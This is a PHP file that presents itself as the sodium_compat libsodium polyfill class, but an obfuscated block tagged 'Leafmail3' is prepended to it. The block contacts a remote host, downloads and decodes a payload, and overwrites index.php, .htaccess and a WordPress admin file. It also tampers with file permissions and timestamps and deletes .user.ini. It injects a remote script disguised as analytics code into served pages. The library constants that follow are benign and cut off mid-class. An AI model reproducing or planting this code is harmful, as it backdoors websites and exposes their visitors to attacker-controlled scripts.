Elep

<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we offer a
 * compatible interface here. It will give you the correct results as if the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 *                                                                               *
 *     Until audited, this is probably not safe to use! DANGER WILL ROBINSON     *
 *                                                                               *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

/**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your platform.
     *
     * @var bool
     */
    public static $fastMult = false;

const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

// From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
    const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
